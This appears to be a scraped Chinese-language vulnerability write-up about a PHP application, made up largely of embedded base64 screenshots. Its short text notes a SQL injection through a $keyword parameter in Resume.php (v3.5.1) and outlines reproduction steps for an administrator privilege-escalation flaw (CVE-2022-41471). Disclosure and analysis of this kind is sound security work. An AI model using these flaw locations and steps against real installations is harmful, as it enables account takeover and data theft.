pWTkxMUFESj0ZSUlDw8PBYvXqysrOzh4REaGipm2GkPtbW16NFGOQUnsfANnRJOVgzRhVVVVW0rQ2JiIvxQZ21tvWDBAhcXFxaL5enpiezVJJy0AwBghPr6eldXV/Kz0tPTU8xVNTU1ok6hMZkSDoXLN2/edNkbsZhCdheS/y7dha2tLVRpw8PDN27cCB9qvXr1gkJt51FTU1NWVqaiomJvb08Ras3MzODboijRoLCwMCYmZvLkyfr6+uPGjYuNjRWf17Rp06DiQf483zZam7XkwGGERqNpa2tThNoug87hcNA/8NMfAAB+ZYJwOJyTJ09CuWfTpk1XrlwRTKWwsPCBAEifevXq1YMHD8ifwiQBfbQXX8KmpiYHBwcHBwdK81VSUjI2Noa5typfybOGRotycnKTJ09G0Wg02qxZswAAzc3NHWLTKhQVFRU7OzsvL68BAwaQw2HWnz9/pmgxAIDNmzfv3r17zZo1Fy5cMDc3p5zV0dFxcHBYsGABfO1BDB8+HB7AakQ/IsU8islk2traAgBKS0s/f/7cqqyBZG2Mgre3t5OTEwDg3r176DskBV1d3ejoaF9f323btu3Zs6fFNDuQ1atXAwAIgoAf2CkUFRXBJ7GHh4e8vDwKNzc3hy82yB4WVriZmRnUVRHoazbqZRI2WgDAmDFjoLluYmKiJNYQXyeStJmGhoahQ4fa2dnBj3UIe3t7PT09QKpnCRPsPHx9ffv27QsA8PHxgR8z5s+fb2FhQY4DO7W5ubmhoSG52Fu3bg0JCRk8eDA5GgBg2rRpKJqUlFR4eHh0dDQ0nIHAmZypqamsrCwKhGOIKOCcG3Z2QVDWP/74Iznc09MzJCQEfvnsKMS8A6NTBEFQVFoaCRSor69va2s7Y8YMyozf0NAQpoC+i6A0Jflg26po4mO+evWKIAhpaWmK9YSjo6OWlhZBENDYrQ0pdyDq6uoEQXz69Am9ZvTo0WP48OHtL0NgYGBoaOiqVavOnTsnic2FhIgqWH5+fllZGUEQXl5eyOgPADBz5sz2V+nPP/+cmZmZmZkpSm6QkPfv38OSkPualJTUyZMnIyMjobEtAIAgiBcvXhAE4e7uTu7mbm5uCgoK8CyKSb4v8r+Uu4bH/fv3Jz/NBw0a1L9/f4IgyN9iJW8SQitWVG1HR0cTBKGlpfXrr78SBFFSUkIWT9uMmB/3P9Ekhg0bFhISsnXrVjgHKC8vP378+O3btwmCUFJSEvoFrqGhgSAINM0Tj5jbfPfuHUEQxsbG5Bmph4dHZGRkZGSki4sLJRGCIO7evfvx48eQkBCCIGRlZbdv395OyamjqpFSVFFnUQeLine truncated
|
||||
<p blockindex=70>map() 函数中的注入漏洞也是一样,出现在 $keyword 中<br>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAyMAAADqCAIAAAA+vg1zAAAACXBIWXMAAAsTAAALEwEAmpwYAAAgAElEQVR4nOzdd5gkZZ048G/FzjlPzmlzgg0ssMCCZBQVz4h4eqAYEIXT++F5h8epqBgO9VBEkSAgJyAZgYVld9ldFjZP2sndM51zrK7w+6Nne2LPzsxOnu/n2Wefmbfeqvet6prub7+piNraJhjPmvXrCGLoV7fb43b1A4Bara6pr2052ZJOpXKbbHaro7h4+L5HPjgiieK4h50NKhWbSHBzUxbDsn/8w+8PHz1y749/OjclIoQQQmjxogttOPL+B+Omx+Pxw4dGbPK4vR63d4brtSDdeutXtm/fplDIjh49Nt91QQghhNAiUDDSQmN1dXXG4tEjR44d/uDwfNcFIYQQQosAUaj3cBGZy95DhBBCCKHJI+e7AgghhBBCSxZGWgghhBBCswUjLYQQQgih2YKRFkIIIYTQbMFICyGEEEJotmCkhRBCCCE0WzDSQgghhBCaLRhpTR/JEEqTjGLxGiKEEEJofBglTJ9llaHmqmJJmu96IIQQQmihmk6kRVAUEGNTgSDHpi5ZtJyyrzG4PwiK2bl7ljZCCCGEFpeCzz0kSLKktMRkNvm8PlefczA3TVdWVypVKkmSgoGAs88JEgCAo7jIbDYSJBkKhl1OlygIc1P7eWRdpRd5yXcykk/RlatoBRVoiY7OuVqf9GXiA6m5rSBCCCGE5l/BNq36xnqFUh6LxYY3X5VVlIui1HyiuaO9w6A3mC1mAFBrNWazuaO9o/Vkq0qtNJgMc1Dv+UUraetqw8Ahv8QP9R2qrHJduWpsZkO1RmmWzWHtEEIIIbRQFIy0wsFQW0t7Jp0ZSiJArVF7vV4uk0nE48FwSK3WAABJkn29vclkKpPJRMJRrVY3B/WeX461hmyK97fGAEBuYKsvd2jLlJIIkiCpbPKKHTZdhcpUry0736o0ySRBAgn0Veraq4ppZcFGRIQQQggtPQU/+N0D7tFJEgg8L5fLYhEAAIVckcmkASAaPt2DRoBGq45GYrNT1YWCVTPmlbqeN70gSABAkgTNUjVXDA6NN9Ro0kEudCou8KKmWGlu0kkSqBwKgoCoM0kxJD/P1UcIIYTQ3JlaE4vP63c4iuRyOcOwao3a4/EM32p3OBia9Xl9M1rDBcex3pgJZ4Mdg+OxkoFM67NOpUlWd10pyRAdL/VHehK5TeHOuKlOW77DJqSFlr85MxFu/mqNEEIIoXkwtbmHXo+nq7Mzy/EKhTyVSsYiQ6O/DSajzW7r6uoS+KXcaiPTs8YGbf97ARg549C6Ws9FuXBH3LHBmB/ZRtCkfZ3B3xwReMnSuPQ7VRFCCCE0ypRXeYhFY6FgkGZYV19/PlGr05WVl3V1diXjiRmt3oLj2GhMB9LhrvjwRG2p0liv7dvrc+0PyE0y60r9YOa1BlpB9x8M9O/zW9folRYcF48QQggtLwV7DxmGBQCKogAkhmEFUciv3VBUUhyLxeKxwfFYSpWisrrKM+BOJVIMw0qSyC/RZi2lSWas1px6wQUjVytNeNO9b3tjrhQA9LzpjnsGpxGETsUS3jSfFIIdMVpJpcLZua8zQgghhOYRUVvbNO6GNevXEcPWd3C7PW5XPwCo1eqa+tqWky3p1OACUfYih91hz+fkOe74sROzWOUxVCo2kZiLIVDVlzsohmp7zjkHZSGEEEJoCSgYaS0icxNpqWzy+g+Xtj3jjLtxDVKEEEIITQo+93CyCILoet2NYRZCCCGEJg8X0pysuDsFY5YYQwghhBCaALZpIYQQQgjNFoy0EEIIIYRmC0ZaCCGEEEKzBSMthBBCCKHZgpEWQgghhNBswUgLIYQQQmi2YKSFEEIIITRbMNJCCCGEEJotGGnNA125ytSgHZ6itMjKzrMOTyFZSmmSTfCPkg2+drSSrrrUkd+x6lKHTMdaV+u1pcrpVU9hlJWeZ8nVs+x86xnzI4QQQqiQ6awRT1CUJAogzXhllgu5npFp2ABECZow1Wn8J6MUSypM7PA8+nJV6TZzOswBAEESIEmSNPwIbN8ef7A9CgAUQ2qKh4IqhUlGsQQXz1ZebD/xVC+f4HPpdVcXw/Bnho/U/qJL4gcLsK7SAUkAgHW1PjGQnqmzRgghhJahgpEWQZIlpSUms8nn9bn6nIO5abqyulKpUkmSFAwEnH1OkMBqtxUVF+V3dDmdPo9v1iu+8OjKVbSCCrREJ78LRVMl26z+k8N2oQhaRvFJHgCirmTXa24AyDVZeY+FAUDgxFQgU7nTnsuur1azGoYgCWOtNulPp0OcxIskTYY7EwBeAoBkCDErAcDAoVC+EPMKLUEQvuORfIokDoZZtJI21mtb/tonN7CaYqXaoTCv1OezZeNc81/7pnplEEIIoWWrYKRV31gvikIsFoNh7SBlFeWiKDWfaGYYpqqqMp1O+71+v88XCoQAwGQyWuzWWCw+B/VegFRWudzInjHSUjsUch1LK2m1Q5EOZXOJBEkwKrp8h01Xrg62Rpz7/Pn89nUGXYU62B411Wq1FapYf7L7H0PPX9SXqRg1TdCEoVotCiKfEYAgTA1aS5NOYZHJdWzHK/2R7gQAxPqT+b00JUqSJIan5JVuMcfdqVQwU3mJPdQeE0VJ5ETv8XBuqyRO9+oghBBCy1LBcVrhYKitpT2TzgwlEaDWqL1eL5fJJOLxYDikVmsAQBTEbJZTqpQWm7Wj7VQ6mZqDei8ccgNbfblDW6aURJAESWWTV+yw6SpUhfI7Nho1pSqlVV600UjJCJIiKi+1V11aRMkoLp6N9sSHd8s6NphMddpwR0ymYTLxLJ/mne+MaC/sftPT+7ZP5MSOl/tlGnrVZ6pYDSPTMAlfuu9t39GHO3Nh1iSZGrSGWk02Keir1NpSVd9en5AW+bSQiWRz/7hYdupXCCGEEFq+CrZpuQfco5MkEHheLpfFIgAACrkikzk9iIcgKqoq0ukUQS67IfYkSdAsVXNFcW4claFGkw5yoVMFG/ba/+6yrdHLNKzneLjphgpJkmLOZLQ3aa7XDhwM2tcbSWqoFdHXHIk4E2qHoqhCrbLLo71JhZGNuceJZeUGNh3lD//+VPEms8CL3qNhTZGi9sqi5qf7JjmijmTI0m2WuCsJAMWbzc69Pj4lAIB5hV5fqc7l6dvjiw8sr0gaIYQQOhtTGxHv8/odjiK5XM4wrFqj9ng8+U3dnd1KtbKmrqa9tS2ZGKdbaqlKBjKtzzqVJlnddaUkQ3S81B/pmVQzUiaaPfF4d9Mnyv0no5piRS6RpEmBE/J5Ki+ysRom4Uv7jocG3g/py1T2DcZSOZWODrYtkQypKVZQMrL+utLuXR5JkFLBjK5CRSupikvsfXt8k5+4IGbFztcG5FpWaZd3vTaQ9A82Z0a7E77mcL7Okz0cQgghhKYaaXk9nlQqqVKptVptKpWMRU6PSZKkSDgcCYdljMxgMCyrSCvHulrPRbl0OOvYYIz0JiYV34hSbqx6nqlOa2rQOvd68ymdrw4InCg3sMWbzQ0fLfMeCbb/3UUyRPmFNgAgaGL1Z6v4tCBmpWOPdIlZEQASvnTJNkvFRfZQezzcMbUxc9HepHwlCwBJ31CvMZfIDv8VIYQQQpM35VUeYtEYl+FsDntPd28uxWA0iKIUCYcBICtwDDOdlSMWNW2p0livbf+7k4sJjTeUWVfqc/MEJ0CrKMcGY6hzRCSUTfOuff5Iz1CcKnCioVbDqOiBAwFRlGQ6BgDy8ZnES81P9QIBDR8pzYVZAMBnBIIEmiacB/wkQ5DM4EzGaTPWa9WOwSY3z+FQ1LnswmiEEEJo2gpGRQzDAgBFUQASw7CCKIjCYK9WUUlxLBaLx2K5XyWA4tLiTCYDBBj0RmffslsFIOFN977tjblSANDzpjvuKdgCRNCEbbXBWKOh5RQXzYqnl7DKJoVQVzzamyQZYvVnqw8/dCq/SzrIybVs2QVWVs1E+hISLw2PdTJRTqYbXIiLZEjbar1trYFLCpkED4KkLlIWbTK1/N9ZvSIJdyrYPvhaJ0Pc2RwKIYQQWm4KRlpNq1bk17k0GI1ut8ft6gcAtVqt0+taTrbkc0bCEY1GXVtfC5IUDIXC4ci4B1zChIzoPzl41hOMhQcASZBYJe3c54s6kyABLacIgpDr2XSIS4c4AFCa5HxaABEAgJZTSosMACK98UhvnFHS2hKl2q7gMwIto/LHpJjB16n0PItMy7S/4EoFuBWfqDA36tR2ebg7AQAlm82UYmgXpUVGAFGusA2dQloYvrTEcJlINtqH7VgIIYTQdBSMtI68/8G46fF4/PChEZskUezr6evrdQIASLhy/IQk6H1naBgWnxbiA8nGG8ry61QRBAy8F8z9rDDKS7ZYxh5DXaRQmGSB1hgA2NcbLSv1uaXke3d78+u8d7zSX3tFkQSE88leAIj70hQzNC107PxBIYsvHEIIITTziNrapvmuw9lSqdhEYhH3alEsKeXXh5XE3DAsWkUzcioVGL8jUmGSZdMCn+BpJcOqyFSIy8dYeQRFkNSImYyTwWoYmiWTp8uVG1hJgkx4EV9ehBBCaB5hpIUQQgghNFuW3UKjCCG0iFASfJwXH8rwj2ayK0Ts5Udo8Vl2KzIghNBi0SRKd2b5+tMB1u1Z/iYZM79VQghNFUZaCCG04GhBujkrfJgXiWGJsnmrDkJo+jDSQgihBYQA+JAgfi0rGEZO5U4A/NfyWxcaoSUA/24RQmihqJCkOzhhvSiOSn+VIn/B0AFi3J0QQgsaRloIITT/5CDdxIufzAqj3pT7COLHDH2QwiALocUKIy2EEJpn5wni7VnBMbK7kAP4I0M9QlO4hg1CixpGWnOH1TAESWQi+LaJEBpkl6RvZoXzhdHdhftI8qcs5SSwKQuhRQ8jrTlCslTj9aXuwyHPYYy0EEJAA/wTL34Line truncated
|
||||
<h3 blockindex=71>v3.5.1 SQL 注入|Resume.php</h3>
|
||||
<p blockindex=72>剩下几个漏洞触发点都是相同的 $keyword ,故不再做分析。<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<h3 blockindex=73>v3.12.0 越权漏洞</h3>
|
||||
<p blockindex=74>漏洞信息:<br>
|
||||
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41471">CVE - CVE-2022-41471 (mitre.org)</a><br>
|
||||
简而言之,就是同为系统管理员可以修改其他管理员的密码。</p>
|
||||
<p blockindex=75>漏洞复现:<br>
|
||||
创建角色权限,可以访问系统模块即可。随后添加一名管理员 ceshi1 角色设置为刚创建的 ceshi。<br>
|
||||
<img src="data:image/png;base64,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